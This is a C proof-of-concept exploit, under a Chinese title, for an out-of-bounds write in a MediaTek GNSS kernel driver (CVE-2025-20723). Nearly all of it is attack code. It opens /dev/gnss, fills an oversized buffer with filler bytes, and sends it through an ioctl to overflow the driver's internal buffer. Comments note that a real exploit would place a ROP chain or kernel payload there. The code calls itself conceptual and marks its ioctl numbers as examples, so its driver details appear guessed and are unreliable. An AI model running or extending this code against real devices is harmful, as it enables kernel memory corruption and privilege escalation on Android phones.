CVE-2025-20723 MediaTek GNSS驱动越界写入权限提升漏洞

// CVE-2025-20723 - MediaTek GNSS Driver Out-of-Bounds Write PoC // This is a conceptual PoC demonstrating the vulnerability pattern // Actual exploitation requires System privilege on the target device #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> // MediaTek GNSS device node #define MTK_GNSS_DEVICE "/dev/gnss" // IOCTL command for GNSS data processing (example) #define GNSS_IOCTL_PROCESS_DATA 0x40045601 #define GNSS_IOCTL_SET_PARAMS 0x40045602 // Buffer size used internally by the GNSS driver #define GNSS_INTERNAL_BUF_SIZE 256 // Structure representing GNSS data input typedef struct { unsigned int data_len; // Length of the data buffer unsigned char *data; // Pointer to data buffer unsigned int flags; // Processing flags } gnss_request_t; int main(int argc, char *argv[]) { int fd; int ret; gnss_request_t req; unsigned char *malicious_data; printf("[+] CVE-2025-20723 PoC - MediaTek GNSS Driver OOB Write\n"); printf("[+] Requires System privilege to access GNSS device\n"); // Open the GNSS device fd = open(MTK_GNSS_DEVICE, O_RDWR); if (fd < 0) { printf("[-] Failed to open %s: %s (need System privilege)\n", MTK_GNSS_DEVICE, strerror(errno)); printf("[-] This PoC requires an existing System-level foothold\n"); return -1; } printf("[+] GNSS device opened successfully (fd=%d)\n", fd); // Allocate a buffer larger than the driver's internal buffer (256 bytes) // The vulnerability is triggered when data_len exceeds the internal buffer // without proper bounds checking unsigned int overflow_size = GNSS_INTERNAL_BUF_SIZE + 256; malicious_data = (unsigned char *)malloc(overflow_size); if (!malicious_data) { perror("malloc"); close(fd); return -1; } // Fill the buffer with a pattern that will overwrite adjacent kernel memory // In a real exploit, this would contain ROP chain or kernel payload memset(malicious_data, 0x41, overflow_size); // Prepare the request structure req.data_len = overflow_size; // Exceeds internal buffer size req.data = malicious_data; req.flags = 0x0; printf("[+] Sending oversized GNSS data (size=%u, internal_buf=%d)\n", overflow_size, GNSS_INTERNAL_BUF_SIZE); printf("[+] This should trigger out-of-bounds write in gnss driver\n"); // Trigger the vulnerability via IOCTL // The driver fails to validate req.data_len against internal buffer size, // leading to out-of-bounds write ret = ioctl(fd, GNSS_IOCTL_PROCESS_DATA, &req); if (ret < 0) { printf("[-] IOCTL failed: %s\n", strerror(errno)); } else { printf("[+] IOCTL returned: %d\n", ret); printf("[!] Out-of-bounds write may have occurred\n"); } // Cleanup free(malicious_data); close(fd); printf("[+] PoC execution completed\n"); printf("[!] Note: Actual exploitation requires System privilege (PR:L)\n"); printf("[!] Patch: ALPS09920033\n"); return 0; }